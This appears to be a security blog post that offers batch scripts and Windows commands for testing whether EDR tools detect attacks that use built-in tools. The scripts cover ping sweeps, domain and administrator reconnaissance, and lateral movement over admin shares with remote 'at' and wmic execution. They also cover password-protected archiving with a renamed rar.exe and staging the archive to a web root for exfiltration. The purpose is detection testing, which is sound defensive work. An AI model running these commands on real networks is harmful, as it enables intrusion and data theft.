At some point during an intrusion, if the attacker has gained enough access, the need for malware will go away. External access to the target network can be achieved through a vpn, 3rd party connection or simple misconfiguration on an external facing device. Lateral movement, data consolidation and staging can all happen using builtin windows tools. Data packaging can happen with builtin tools or public archiving utilities that are most likely used, legitimately, throughout your network by multiple users. If an attacker has achieved this level of access, it is at this point you really need to ask yourself if the tools you have in place are capable of alerting you as to what may be happening.
From an EDR perspective, how much do you feel the vendor should be detecting and alerting? What types of data do you feel an EDR solution should be collecting? How important is the interface and the query language? All of this is especially important if you don’t have the capability to author your own signatures or the interface is so poorly designed that it is not feasible to generate your own alerts based on limitations imposed by the vendor.
I put together some tests that you can use to verify the capabilities of your tools when it comes to recon, lateral movement and data staging. I would be very curious to know what your outcomes are and if there are any obvious gaps in coverage across vendors. I think it would be pretty enlightening to the entire community.
This is also not meant to put down the work that vendors are doing in this area. It has come a long way, but I think often we get focused on finding “the malware” when that is only one aspect.
Note: Change the below scripts and commands to match your environment.
========== a.bat ===========
@echo off
ping -n 1 192.168.1.3>>c:\temp\a.txt
ping -n 1 192.168.1.4>>c:\temp\a.txt
ping -n 1 192.168.1.5>>c:\temp\a.txt
ping -n 1 192.168.1.6>>c:\temp\a.txt
ping -n 1 192.168.1.7>>c:\temp\a.txt
ping -n 1 192.168.1.8>>c:\temp\a.txt
ping -n 1 192.168.1.9>>c:\temp\a.txt
ping -n 1 192.168.1.10>>c:\temp\a.txt
ping -n 1 192.168.1.11>>c:\temp\a.txt
ping -n 1 192.168.1.12>>c:\temp\a.txt
ping -n 1 192.168.1.13>>c:\temp\a.txt
ping -n 1 192.168.1.14>>c:\temp\a.txt
ping -n 1 192.168.1.15>>c:\temp\a.txt
ping -n 1 192.168.1.16>>c:\temp\a.txt
ping -n 1 192.168.1.17>>c:\temp\a.txt
ping -n 1 192.168.1.18>>c:\temp\a.txt
ping -n 1 192.168.1.19>>c:\temp\a.txt
ping -n 1 192.168.1.20>>c:\temp\a.txt
ping -n 1 192.168.1.21>>c:\temp\a.txt
ping -n 1 192.168.1.22>>c:\temp\a.txt
ping -n 1 192.168.1.23>>c:\temp\a.txt
ping -n 1 192.168.1.24>>c:\temp\a.txt
ping -n 1 192.168.1.25>>c:\temp\a.txt
ping -n 1 192.168.1.26>>c:\temp\a.txt
ping -n 1 192.168.1.27>>c:\temp\a.txt
ping -n 1 192.168.1.28>>c:\temp\a.txt
=========== Execute a.bat ========
cmd /c a.bat
========== b.bat ===========
@echo off
net localgroup administrators >>c:\windows\system32\b.txt
quser >>c:\windows\system32\b.txt
netstat -nab -p tcp >>c:\windows\system32\b.txt
net start >>c:\windows\system32\b.txt
net session >>c:\windows\system32\b.txt
net share >>c:\windows\system32\b.txt
net use >>c:\windows\system32\b.txt
net view >>c:\windows\system32\b.txt
net view /domain >>c:\windows\system32\b.txt
net time /domain >>c:\windows\system32\b.txt
ipconfig /all >>c:\windows\system32\b.txt
route print >>c:\windows\system32\b.txt
systeminfo >>c:\windows\system32\b.txt
dsquery server >>c:\windows\system32\b.txt
dsquery subnet -limit 10000 >>c:\windows\system32\b.txt
net group "domain admins" /domain >>c:\windows\system32\b.txt
net group "enterprise admins" /domain >>c:\windows\system32\b.txt
======= Mount share and copy batch script ========
nbtstat -a x.x.x.x >>c:\temp\a.txt
net use \\x.x.x.x password user:domain/user
net use Z: \\x.x.x.x\c$ password /user:domain\user
copy C:\temp\*.bat Z:\windows\system32\
dir Z:\windows\system32\*.bat
====== Schedule at job, execute script, copy results back, delete share ========
net time \\x.x.x.x
at \\x.x.x.x
at \\x.x.x.x 4:01 "C:\windows\system32\b.bat"
net time /domain
tasklist
dir Z:\windows\system32\b.txt
copy Z:\windows\system32\b.txt C:\temp\b.txt
at \\x.x.x.x 1 /delete /y
net use Z: /delete /y
========== abc.bat ===========
@echo off
c:\temp\cmd.exe a -hppassword c:\temp\abc.temp c:\data\for\exfil -x*.exe -x*.dll
Note: cmd.exe is a renamed copy of rar.exe
=========== Create and move exfil =============
copy c:\temp\abc.bat \\x.x.x.x\c$\temp\abc.bat
copy c:\temp\cmd.exe \\x.x.x.x\c$\temp\cmd.exe
wmic /node:"x.x.x.x" /user:"domain\username" /password:"password" process call create "cmd.exe /c c:\temp\abc.bat"
copy \\x.x.x.x\c$\temp\abc.temp c:\temp\abc.temp
copy c:\temp\abc.temp \\x.x.x.x\c$\inetpub\wwwroot\website\abc.temp
